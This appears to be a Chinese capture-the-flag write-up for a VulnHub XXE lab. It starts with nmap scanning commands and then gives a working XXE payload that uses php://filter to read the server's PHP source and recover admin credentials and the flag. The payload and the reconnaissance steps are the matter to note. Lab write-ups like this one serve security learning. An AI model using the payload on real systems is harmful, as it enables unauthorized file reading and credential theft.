XXE 漏洞实战
Posted Rgylin
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE 漏洞实战相关的知识,希望对你有一定的参考价值。
XXE 漏洞实战
补充知识
namp使用
特点
- 主机探测:探测网络上的主机,如列出响应TCP,ICMP请求,开放特别端口的主机
- 端口扫描: 探测目标主机所开放的端口
- 版本探测:探测目标主机的网络服务,其服务名称及版本号
常用命令
- nmap -sP 192.168.0.1/24 扫描目标地址所在的C段在线情况
- nmap -O 识别目标地址的操作系统
- nmap -sV 检测目标地址开放的端口对应的服务版本信息
- nmap sn 检测主机,不进行端口扫描
- 扫描某一目标地址的端口 nmap 地址 -p 21,22
安装
www.vulnhub.com
搜索xxe 虚拟机直接打开导入即可
实战
打开之后是这样的
先用nmap 一下扫出 地址
nmap -sn 命令
扫除地址
习惯性查看 robots.txt
当然用dirsearch 扫也可以
接着访问xxe 得到一个登录地址
抓一下包 得到 xml 数据 这里说一下xml是传输和存储数据用的而xxe是xml产生的漏洞
我们将漏洞语句尝试插入
尝试利用协议读文件绕过 这样的话就不用考虑路径了 直接读
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe.php">]>
<root><name>&xxe;</name><password>123</password></root>
得到base64码 解得
读admin.php 为发现 用户名密码
md5解得 密码为 admin@123
这里得到的是 是xxe 目录下的admin.php 文件 所以url要注意
输入后登录成功
点flag 后却没有反应
得到了url地址 http://192.168.43.58/flagmeout.php 所以可尝试重新在 根目录下读取源文件
只需要改成./flagmeout.php
得到
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
继续base32解密读
得到 /etc/.flag.php
最终得到
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
在线php 运行得到flag
以上是关于XXE 漏洞实战的主要内容,如果未能解决你的问题,请参考以下文章